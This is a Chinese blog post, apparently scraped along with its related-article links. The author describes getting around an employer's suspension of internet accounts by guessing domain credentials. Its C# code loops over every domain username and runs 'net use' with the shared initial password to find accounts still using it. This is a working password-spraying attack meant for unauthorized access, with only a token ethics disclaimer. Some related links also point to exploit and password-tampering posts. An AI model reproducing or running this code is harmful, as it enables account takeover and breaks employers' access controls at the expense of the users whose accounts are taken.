利用C#结合net use命令破解域帐号密码
背景
我的职业是程序猿,而所在的工作单位因各种原因,对上网帐号有严格控制,近期竟然把我们的上网帐号全部停用,作为程序猿,不能上网,就如同鱼儿没有水,煮饭没有米,必须想办法解决此问题。公司的局域网环境是AD域环境,上网帐号就是域帐号,公司有上万人,每个帐号在建立时都是统一的初始密码,且很多用户懒得不愿意修改初始密码。因此,稍动脑筋,就有了此破解之道。
原理
Windows中有个net use命令,用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),对应的图形界面如下图所示。

net use 命令对应的图形界面
net use命令的格式及详细说明可参考:https://technet.microsoft.com/en-us/library/bb490717.aspx
简单地说,net use命令可以使用指定的用户名和密码,映射网络中的共享位置。
举例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用户名,mypassword表示密码。在命令行窗口执行这条命令后,如果用户名和密码正确,则会提示"命令成功完成。",否则提示“登录失败: 未知的用户名或错误密码。”
想必看到这里,只要有点编程基础的人都在心里呵呵笑了,前面的背景中提到,域帐号初始密码是统一的,因此,我们只需要把域中的所有用户名穷举出来,套上这条命令,就能知道哪些用户没有修改初始密码了。翠花,上代码。
代码
Listusers = GetUserList()
foreach (var user in users)
{
System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();
pInfo.FileName = "C:\\Windows\\System32\\net.exe";
pInfo.Arguments = "use \\\\计算机名\\共享目录$ /user:domain\\" + staffno + " 123";
pInfo.UseShellExecute = false;
pInfo.RedirectStandardError = true;
pInfo.RedirectStandardOutput = true;
pInfo.CreateNoWindow = true;
System.Diagnostics.Process proc;
proc = System.Diagnostics.Process.Start(pInfo);
StreamReader myStreamReader = proc.StandardOutput;
string myString = myStreamReader.ReadLine();
if (myString != null && myString.Contains("命令成功完成"))
{
WriteResult(staffno);
}
proc.WaitForExit();
proc.Close();
pInfo.Arguments = "use \\\\计算机名\\共享目录$ /delete";
System.Diagnostics.Process.Start(pInfo);
}
结束语
这种方法虽然简单,但也不失为一种解决问题的途径,甚至可以扩展成更牛B的暴力破解。但各位读者不要用此方法去做一些违反职业道德的事哦!
利用C#结合net use命令破解域帐号密码的更多相关文章
- 利用freopen()函数和fc命令简化程序调试
大家在参加ACM比赛或者参加c/c++实验技能竞赛的时候,如果遇到大量的输入和大量的输出时,调试起来很不方便.一来如果结果不正确的话,需要重复输入大量数据:二来如果大量输出的话,得仔细检查输出结果与正 ...
- 利用phar实行php反序列化命令执行漏洞复现
利用phar实行php反序列化命令执行(测试环境复现) 前言 一般说到反序列化漏洞,第一反应都是unserialize()函数.然而安全研究员Sam Thomas分享了议题”It’s a PHP un ...
- 利用commands模块执行shell命令
利用commands模块执行shell命令 用Python写运维脚本时,经常需要执行linux shell的命令,Python中的commands模块专门用于调用Linux shell命令,并返回状态 ...
- Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码
Kali Linux Web 渗透测试视频教—第二十课-利用kali linux光盘或者usb启动盘破解windows密码 文/玄魂 目录 Kali Linux Web 渗透测试视频教—第二十课-利用 ...
- 【缓存】利用Cache防止同一帐号重复登录
需求概要 对于B/S应用系统中客户经常会提出同一帐号不能重复登录的需求,就是说,用某一帐号登录系统后,在系统不超时的情况下,任何人都不能再用目前已登录的帐号登录系统.包括我目前的项目中同样有这一需求. ...
- MySQL忘记了密码登录不进去,用命令符修改新的密码重新登录的方法
MySQL忘记了密码登录不进去,用命令符修改新的密码重新登录的方法: 1.备份my.ini 2.在my.ini字段里 [mysqld] #socket=mysql skip-grant-tables ...
- 利用Python脚本悄无声息的遥控室友电脑开机密码!
整蛊一下室友就行了,切勿用于非法用途! 利用python脚本控制室友windows系统电脑的开机密码.利用random()生成随机数(密码),天知地知,密码只有你自己知道! Python代码分为cli ...
- sshpass-Linux命令之非交互SSH密码验证
sshpass-Linux命令之非交互SSH密码验证 参考网址:https://www.cnblogs.com/chenlaichao/p/7727554.html ssh登陆不能在命令行中指定密码. ...
- mysql 常用命令导入导出修改root密码
MySQL 忘记口令的解决办法如果 MySQL 正在运行,首先杀之: killall -TERM mysqld. 启动 MySQL :mysql --skip-grant-tables & / ...
随机推荐
- mybatis_入门程序
Mybatis入门 (一).程序环境 1.jar包 2.classpath目录下建立SqlMapConfig.xml. mybatis的配置文件.全部设置有如下 同时,数据库的参数可以用propert ...
- pig配置
下载Apache Pig 首先,从以下网站下载最新版本的Apache Pig:https://pig.apache.org/ 步骤1 打开Apache Pig网站的主页.在News部分下,点击链接re ...
- 使用ffmpeg+crtmpserver搭建文件的伪直播
Tutorial: How to "live stream" a media file 如何"直播"一个媒体文件 I have tried a while to ...
- Delphi XE8 iOS与Android移动应用开发(APP开发)教程[完整中文版]
https://item.taobao.com/item.htm?id=536584650957&toSite=main
- [LeetCode 题解]: Flatten Binary Tree to Linked List
Given a binary tree, flatten it to a linked list in-place. For example,Given 1 / \ 2 5 / \ \ 3 4 6 T ...
- SELinux导致无法访问外网,PHP连接MySQL异常Can't connect to MySQL server、redis程序访问提示Redis server went away的解决方法
今天上班遇到的问题,新配的Linux服务器,php.Apache和一系列扩展插件装好后,在本地好好的程序移上去就一直抱数据库连接错误,而用sql命令却能连接上去, 做了一个简单的判断数据库连接页面还是 ...
- asp.net 汉字转拼音类
前段时间公司人员反应OA里的汉字拼音首字母不准他们又要用,没办法自己就从网上搜有没有好的,看了很多都是首字母拼不出来或有些字母变为另一个,但最后找了很多还是有一个好用的,暂未发现有不准的. using ...
- Redis 七月小说网的爬虫缓存设计
一.爬虫策略 1.主服务器先根据spider.all set排重,再 lpush request_url 到spider.wait List中,并且 sadd request_url 到 set中: ...
- .NET Core + gRPC 实现数据串流 (Streaming)
引入 gRPC 是谷歌推出的一个高性能优秀的 RPC 框架,基于 HTTP/2 实现.并且该框架对 .NET Core 有着优秀的支持.最近在做一个项目正好用到了 gRPC,遇到了需要串流传输的问题. ...
- Log4net日志
log4net简介(摘抄于百度百科): log4net库是Apache log4j框架在Microsoft .NET平台的实现,是一个帮助程序员将日志信息输出到各种目标(控制台.文件.数据库 ...